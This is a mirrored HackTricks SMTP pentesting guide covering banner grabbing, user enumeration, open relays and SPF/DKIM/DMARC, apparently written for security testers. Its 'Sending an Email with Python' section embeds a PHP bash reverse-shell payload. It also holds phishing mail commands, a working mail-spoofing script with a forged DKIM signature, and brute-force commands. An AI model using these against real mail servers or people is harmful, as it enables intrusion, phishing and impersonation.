mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
636 lines
32 KiB
Markdown
636 lines
32 KiB
Markdown
# 25,465,587 - Pentesting SMTP/s
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
|
||
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
|
||
|
||
{% embed url="https://www.dragonjarcon.org/" %}
|
||
|
||
## **Basic Information**
|
||
|
||
**SMTP (Simple Mail Transfer Protocol)** is a TCP/IP protocol used in **sending** and receiving **e-mail**. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
|
||
|
||
In other words, **users typically use** a program that uses **SMTP for sending e-mail** and either **POP3 or IMAP for receiving** e-mail. On Unix-based systems, **sendmail** is the most widely-used SMTP server for e-mail. A commercial package, Sendmail, includes a POP3 server. **Microsoft Exchange** includes an SMTP server and can also be set up to include POP3 support.\
|
||
From [here](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol).
|
||
|
||
**Default port:** 25,465(ssl),587(ssl)
|
||
|
||
```
|
||
PORT STATE SERVICE REASON VERSION
|
||
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
||
```
|
||
|
||
### EMAIL Headers
|
||
|
||
If you have the opportunity to **make the victim send you a emai**l (via contact form of the web page for example), do it because **you could learn about the internal topology** of the victim seeing the headers of the mail.
|
||
|
||
You can also get an email from a SMTP server trying to **send to that server an email to a non-existent address** (because the server will send to the attacker a NDN mail). But, be sure that you send the email from an allowed address (check the SPF policy) and that you can receive NDN messages.
|
||
|
||
You should also try to **send different contents because you can find more interesting information** on the headers like: `X-Virus-Scanned: by av.domain.com`\
|
||
You should send the EICAR test file.\
|
||
Detecting the **AV** may allow you to exploit **known vulnerabilities.**
|
||
|
||
## Basic actions
|
||
|
||
### **Banner Grabbing/Basic connection**
|
||
|
||
**SMTP:**
|
||
|
||
```bash
|
||
nc -vn <IP> 25
|
||
```
|
||
|
||
**SMTPS**:
|
||
|
||
```bash
|
||
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
||
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
||
```
|
||
|
||
### Finding MX servers of an organisation
|
||
|
||
```bash
|
||
dig +short mx google.com
|
||
```
|
||
|
||
### Enumeration
|
||
|
||
```bash
|
||
nmap -p25 --script smtp-commands 10.10.10.10
|
||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||
```
|
||
|
||
### NTLM Auth - Information disclosure
|
||
|
||
If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||
|
||
```bash
|
||
root@kali: telnet example.com 587
|
||
220 example.com SMTP Server Banner
|
||
>> HELO
|
||
250 example.com Hello [x.x.x.x]
|
||
>> AUTH NTLM 334
|
||
NTLM supported
|
||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||
```
|
||
|
||
Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`
|
||
|
||
### Internal server name - Information disclosure
|
||
|
||
Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:
|
||
|
||
```
|
||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||
EHLO all
|
||
250-somedomain.com Hello [x.x.x.x]
|
||
250-TURN
|
||
250-SIZE 52428800
|
||
250-ETRN
|
||
250-PIPELINING
|
||
250-DSN
|
||
250-ENHANCEDSTATUSCODES
|
||
250-8bitmime
|
||
250-BINARYMIME
|
||
250-CHUNKING
|
||
250-VRFY
|
||
250 OK
|
||
MAIL FROM: me
|
||
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
|
||
```
|
||
|
||
### Sniffing
|
||
|
||
Check if you sniff some password from the packets to port 25
|
||
|
||
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
||
|
||
## Username Bruteforce Enumeration
|
||
|
||
**Authentication is not always needed**
|
||
|
||
### RCPT TO
|
||
|
||
```bash
|
||
$ telnet 10.0.10.1 25
|
||
Trying 10.0.10.1...
|
||
Connected to 10.0.10.1.
|
||
Escape character is '^]'.
|
||
220 myhost ESMTP Sendmail 8.9.3
|
||
HELO x
|
||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||
MAIL FROM:test@test.org
|
||
250 2.1.0 test@test.org... Sender ok
|
||
RCPT TO:test
|
||
550 5.1.1 test... User unknown
|
||
RCPT TO:admin
|
||
550 5.1.1 admin... User unknown
|
||
RCPT TO:ed
|
||
250 2.1.5 ed... Recipient ok
|
||
```
|
||
|
||
### VRFY
|
||
|
||
```
|
||
$ telnet 10.0.0.1 25
|
||
Trying 10.0.0.1...
|
||
Connected to 10.0.0.1.
|
||
Escape character is '^]'.
|
||
220 myhost ESMTP Sendmail 8.9.3
|
||
HELO
|
||
501 HELO requires domain address
|
||
HELO x
|
||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||
VRFY root
|
||
250 Super-User <root@myhost>
|
||
VRFY blah
|
||
550 blah... User unknown
|
||
```
|
||
|
||
### EXPN
|
||
|
||
```
|
||
$ telnet 10.0.10.1 25
|
||
Trying 10.0.10.1...
|
||
Connected to 10.0.10.1.
|
||
Escape character is '^]'.
|
||
220 myhost ESMTP Sendmail 8.9.3
|
||
HELO
|
||
501 HELO requires domain address
|
||
HELO x
|
||
EXPN test
|
||
550 5.1.1 test... User unknown
|
||
EXPN root
|
||
250 2.1.5 <ed.williams@myhost>
|
||
EXPN sshd
|
||
250 2.1.5 sshd privsep <sshd@mail2>
|
||
```
|
||
|
||
Extracted from: [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||
|
||
### Automatic tools
|
||
|
||
```
|
||
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||
Nmap: nmap --script smtp-enum-users <IP>
|
||
```
|
||
|
||
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
|
||
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
|
||
|
||
{% embed url="https://www.dragonjarcon.org/" %}
|
||
|
||
## DSN Reports
|
||
|
||
**Delivery Status Notification Reports**: If you send an **email** to an organisation to an **invalid address**, the organisation will notify that the address was invalided sending a **mail back to you**. **Headers** of the returned email will **contain** possible **sensitive information** (like IP address of the mail services that interacted with the reports or anti-virus software info).
|
||
|
||
## [Commands](smtp-commands.md)
|
||
|
||
### Sending an Email from linux console
|
||
|
||
```
|
||
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
|
||
Reading message body from STDIN because the '-m' option was not used.
|
||
If you are manually typing in a message:
|
||
- First line must be received within 60 seconds.
|
||
- End manual input with a CTRL-D on its own line.
|
||
|
||
IT Dept,
|
||
|
||
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
|
||
|
||
Sincerely,
|
||
```
|
||
|
||
```bash
|
||
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
|
||
```
|
||
|
||
### Sending an Email with Python
|
||
|
||
Here's alternative way to send an email with python script
|
||
|
||
```python
|
||
from email.mime.multipart import MIMEMultipart
|
||
from email.mime.text import MIMEText
|
||
import smtplib
|
||
import sys
|
||
|
||
lhost = "127.0.0.1"
|
||
lport = 443
|
||
rhost = "192.168.1.1"
|
||
rport = 25 # 489,587
|
||
|
||
# create message object instance
|
||
msg = MIMEMultipart()
|
||
|
||
# setup the parameters of the message
|
||
password = ""
|
||
msg['From'] = "attacker@local"
|
||
msg['To'] = "victim@local"
|
||
msg['Subject'] = "This is not a drill!"
|
||
|
||
# payload
|
||
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
|
||
|
||
print("[*] Payload is generated : %s" % message)
|
||
|
||
msg.attach(MIMEText(message, 'plain'))
|
||
server = smtplib.SMTP(host=rhost,port=rport)
|
||
|
||
if server.noop()[0] != 250:
|
||
print("[-]Connection Error")
|
||
exit()
|
||
|
||
server.starttls()
|
||
|
||
# Uncomment if log-in with authencation
|
||
# server.login(msg['From'], password)
|
||
|
||
server.sendmail(msg['From'], msg['To'], msg.as_string())
|
||
server.quit()
|
||
|
||
print("[***]successfully sent email to %s:" % (msg['To']))
|
||
```
|
||
|
||
## Mail Spoofing
|
||
|
||
Most of this section was extracted from the book **Network Security Assessment 3rd Edition**.
|
||
|
||
SMTP messages are easily spoofed, and so organizations use **SPF**, **DKIM**, and **DMARC** features to prevent parties from sending unauthorised email.
|
||
|
||
A **complete guide of these countermeasures** can be found in [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)
|
||
|
||
### SPF
|
||
|
||
{% hint style="danger" %}
|
||
SPF [was "deprecated" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). This means that instead of creating a **TXT record** in `_spf.domain.com` you create it in `domain.com` using the **same syntax**.\
|
||
Moreover, to reuse previous spf records it's quiet common to find something like `"v=spf1 include:_spf.google.com ~all"`
|
||
{% endhint %}
|
||
|
||
**Sender Policy Framework** (SPF) provides a mechanism that allows MTAs to check if a host sending an email is authorized.\
|
||
Then, the organisations can define a list of authorised mail servers and the MTAs can query for this lists to check if the email was spoofed or not.\
|
||
In order to define IP addresses/ranges, domains and others that are **allowed to send email on behalf a domain name**, different "**Mechanism**" cam appear in the SPF registry.
|
||
|
||
#### Mechanisms
|
||
|
||
| Mechanism | Description |
|
||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| ALL | Matches always; used for a default result like `-all` for all IPs not matched by prior mechanisms. |
|
||
| A | If the domain name has an address record (A or AAAA) that can be resolved to the sender's address, it will match. |
|
||
| IP4 | If the sender is in a given IPv4 address range, match. |
|
||
| IP6 | If the sender is in a given IPv6 address range, match. |
|
||
| MX | If the domain name has an MX record resolving to the sender's address, it will match (i.e. the mail comes from one of the domain's incoming mail servers). |
|
||
| PTR | If the domain name (PTR record) for the client's address is in the given domain and that domain name resolves to the client's address (forward-confirmed reverse DNS), match. This mechanism is discouraged and should be avoided, if possible. |
|
||
| EXISTS | If the given domain name resolves to any address, match (no matter the address it resolves to). This is rarely used. Along with the SPF macro language it offers more complex matches like DNSBL-queries. |
|
||
| INCLUDE | References the policy of another domain. If that domain's policy passes, this mechanism passes. However, if the included policy fails, processing continues. To fully delegate to another domain's policy, the redirect extension must be used. |
|
||
| REDIRECT | <p>A redirect is a pointer to another domain name that hosts an SPF policy, it allows for multiple domains to share the same SPF policy. It is useful when working with a large amount of domains that share the same email infrastructure.</p><p>It SPF policy of the domain indicated in the redirect Mechanism will be used.</p> |
|
||
|
||
It's also possible to identify **Qualifiers** that indicates **what should be done if a mechanism is matched**. By default, the **qualifier "+"** is used (so if any mechanism is matched, that means it's allowed).\
|
||
You usually will note **at the end of each SPF policy** something like: **\~all** or **-all**. This is used to indicate that **if the sender doesn't match any SPF policy, you should tag the email as untrusted (\~) or reject (-) the email.**
|
||
|
||
#### Qualifiers
|
||
|
||
Each mechanism can be combined with one of four qualifiers:
|
||
|
||
* **`+`** for a PASS result. This can be omitted; e.g., `+mx` is the same as `mx`.
|
||
* **`?`** for a NEUTRAL result interpreted like NONE (no policy).
|
||
* **`~`** (tilde) for SOFTFAIL, a debugging aid between NEUTRAL and FAIL. Typically, messages that return a SOFTFAIL are accepted but tagged.
|
||
* **`-`** (minus) for FAIL, the mail should be rejected (see below).
|
||
|
||
In the following example you can read the **SPF policy of google.com**. Note how the **first SPF policy includes SPF policies of other domains:**
|
||
|
||
```shell-session
|
||
kali@kali:~$ dig txt google.com | grep spf
|
||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||
|
||
kali@kali:~$ dig txt _spf.google.com | grep spf
|
||
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
|
||
;_spf.google.com. IN TXT
|
||
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
|
||
|
||
kali@kali:~$ dig txt _netblocks.google.com | grep spf
|
||
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
|
||
|
||
kali@kali:~$ dig txt _netblocks2.google.com | grep spf
|
||
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
|
||
|
||
kali@kali:~$ dig txt _netblocks3.google.com | grep spf
|
||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||
```
|
||
|
||
Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. **Nowadays**, if **email** comes from a **domain without a valid SPF record** is probably going to be **rejected/marked as untrusted automatically**.
|
||
|
||
To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||
|
||
### DKIM
|
||
|
||
DomainKeys Identified Mail (DKIM) is a mechanism by which **outbound email is signed and validated by foreign MTAs upon retrieving a domain’s public key via DNS**. The DKIM public key is held within a TXT record for a domain; however, you must know both the selector and domain name to retrieve it.
|
||
|
||
Then, to ask for the key you need the domain name and the selector of the mail from the mail header `DKIM-Signature` for example: `d=gmail.com;s=20120113`
|
||
|
||
```bash
|
||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
|
||
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||
```
|
||
|
||
### DMARC
|
||
|
||
Domain-based Message Authentication, Reporting & Conformance (DMARC) is a method of mail authentication that expands upon SPF and DKIM. Policies instruct mail servers how to process email for a given domain and report upon actions performed.
|
||
|
||
.png>)
|
||
|
||
**To obtain the DMARC record, you need to query the subdomain \_dmarc**
|
||
|
||
```shell-session
|
||
root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
|
||
_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
|
||
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"
|
||
|
||
root@kali:~# dig _dmarc.google.com txt | grep DMARC
|
||
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"
|
||
|
||
root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
|
||
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
|
||
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
|
||
```
|
||
|
||
PayPal and Yahoo instruct mail servers to reject messages that contain invalid DKIM signatures or do not originate from their networks. Notifications are then sent to the respective email addresses within each organization. Google is configured in a similar way, although it instructs mail servers to quarantine messages and not outright reject them.
|
||
|
||
#### DMARC tags
|
||
|
||
| Tag Name | Purpose | Sample |
|
||
| -------- | --------------------------------------------- | ------------------------------- |
|
||
| v | Protocol version | v=DMARC1 |
|
||
| pct | Percentage of messages subjected to filtering | pct=20 |
|
||
| ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com |
|
||
| rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com |
|
||
| p | Policy for organizational domain | p=quarantine |
|
||
| sp | Policy for subdomains of the OD | sp=reject |
|
||
| adkim | Alignment mode for DKIM | adkim=s |
|
||
| aspf | Alignment mode for SPF | aspf=r |
|
||
|
||
### **What about Subdomains?**
|
||
|
||
**From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||
You need to have separate SPF records for each subdomain you wish to send mail from.\
|
||
The following was originally posted on openspf.org, which used to be a great resource for this kind of thing.
|
||
|
||
> The Demon Question: What about subdomains?
|
||
>
|
||
> If I get mail from pielovers.demon.co.uk, and there's no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn't make sense for Demon's policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.
|
||
>
|
||
> So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.
|
||
>
|
||
> Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: \* IN TXT "v=spf1 -all"
|
||
|
||
This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition.
|
||
|
||
### **Open Relay**
|
||
|
||
To prevent the sent emails from being filtered by spam filters and not reaching the recipient, the sender can use a **relay server that the recipient trusts**. Often, administrators **haven't overviewed** of which **IP** ranges they have to **allow**. This results in a misconfiguration of the SMTP server that we will still often find in external and internal penetration tests. Therefore, they **allow all IP addresses** not to cause errors in the email traffic and thus not to disturb or unintentionally interrupt the communication with potential and current customers:
|
||
|
||
```shell-session
|
||
mynetworks = 0.0.0.0/0
|
||
```
|
||
|
||
```bash
|
||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||
```
|
||
|
||
### **Tools**
|
||
|
||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Check for SPF and DMARC misconfigurations**
|
||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatically get SPF and DMARC configs**
|
||
|
||
### Send Spoof Email
|
||
|
||
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||
* [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\*
|
||
|
||
**Or you could use a tool:**
|
||
|
||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\*
|
||
|
||
```bash
|
||
# This will send a test email from test@victim.com to destination@gmail.com
|
||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||
# But you can also modify more options of the email
|
||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
If you get any **error using in the dkim python lib** parsing the key feel free to use this following one.\
|
||
**NOTE**: This is just a dirty fix to do quick checks in cases where for some reason the openssl private key **cannot be parsed by dkim**.
|
||
|
||
```
|
||
-----BEGIN RSA PRIVATE KEY-----
|
||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
|
||
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
|
||
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
|
||
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
|
||
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
|
||
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
|
||
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
|
||
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
|
||
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
|
||
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
|
||
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
|
||
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
||
-----END RSA PRIVATE KEY-----
|
||
```
|
||
{% endhint %}
|
||
|
||
**Or you could do it manually:**
|
||
|
||
{% tabs %}
|
||
{% tab title="PHP" %}
|
||
<pre class="language-php"><code class="lang-php"><strong># This will send an unsigned message
|
||
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
|
||
</strong></code></pre>
|
||
{% endtab %}
|
||
|
||
{% tab title="Python" %}
|
||
```python
|
||
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
|
||
|
||
import os
|
||
import dkim #pip3 install dkimpy
|
||
import smtplib
|
||
from email.mime.multipart import MIMEMultipart
|
||
from email.mime.text import MIMEText
|
||
from email.mime.base import MIMEBase
|
||
|
||
# Set params
|
||
destination="destination@gmail.com"
|
||
sender="administrator@victim.com"
|
||
subject="Test"
|
||
message_html="""
|
||
<html>
|
||
<body>
|
||
<h3>This is a test, not a scam</h3>
|
||
<br />
|
||
</body>
|
||
</html>
|
||
"""
|
||
sender_domain=sender.split("@")[1]
|
||
|
||
# Prepare postfix
|
||
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
|
||
os.system("systemctl restart postfix")
|
||
|
||
# Generate DKIM keys
|
||
dkim_private_key_path="dkimprivatekey.pem"
|
||
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
|
||
with open(dkim_private_key_path) as fh:
|
||
dkim_private_key = fh.read()
|
||
|
||
# Generate email
|
||
msg = MIMEMultipart("alternative")
|
||
msg.attach(MIMEText(message_html, "html"))
|
||
msg["To"] = destination
|
||
msg["From"] = sender
|
||
msg["Subject"] = subject
|
||
headers = [b"To", b"From", b"Subject"]
|
||
msg_data = msg.as_bytes()
|
||
|
||
# Sign email with dkim
|
||
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
|
||
dkim_selector="s1"
|
||
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
|
||
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
|
||
msg_data = msg.as_bytes()
|
||
|
||
# Use local postfix relay to send email
|
||
smtp="127.0.0.1"
|
||
s = smtplib.SMTP(smtp)
|
||
s.sendmail(sender, [destination], msg_data)
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
### **More info**
|
||
|
||
**Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||
|
||
### **Other phishing indicators**
|
||
|
||
* Domain’s age
|
||
* Links pointing to IP addresses
|
||
* Link manipulation techniques
|
||
* Suspicious (uncommon) attachments
|
||
* Broken email content
|
||
* Values used that are different to those of the mail headers
|
||
* Existence of a valid and trusted SSL certificate
|
||
* Submission of the page to web content filtering sites
|
||
|
||
## Exfiltration through SMTP
|
||
|
||
**If you can send data via SMTP** [**read this**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
|
||
|
||
## Config file
|
||
|
||
### Postfix
|
||
|
||
Usually, if installed, in `/etc/postfix/master.cf` contains **scripts to execute** when for example a new mail is receipted by a user. For example the line `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` means that `/etc/postfix/filtering` will be executed if a new mail is received by the user mark.
|
||
|
||
Other config files:
|
||
|
||
```
|
||
sendmail.cf
|
||
submit.cf
|
||
```
|
||
|
||
## HackTricks Automatic Commands
|
||
|
||
```
|
||
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
||
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
||
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for SMTP
|
||
Note: |
|
||
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||
|
||
Entry_2:
|
||
Name: Banner Grab
|
||
Description: Grab SMTP Banner
|
||
Command: nc -vn {IP} 25
|
||
|
||
Entry_3:
|
||
Name: SMTP Vuln Scan
|
||
Description: SMTP Vuln Scan With Nmap
|
||
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
|
||
|
||
Entry_4:
|
||
Name: SMTP User Enum
|
||
Description: Enumerate uses with smtp-user-enum
|
||
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
|
||
|
||
Entry_5:
|
||
Name: SMTPS Connect
|
||
Description: Attempt to connect to SMTPS two different ways
|
||
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
|
||
|
||
Entry_6:
|
||
Name: Find MX Servers
|
||
Description: Find MX servers of an organization
|
||
Command: dig +short mx {Domain_Name}
|
||
|
||
Entry_7:
|
||
Name: Hydra Brute Force
|
||
Description: Need Nothing
|
||
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
|
||
|
||
Entry_8:
|
||
Name: consolesless mfs enumeration
|
||
Description: SMTP enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
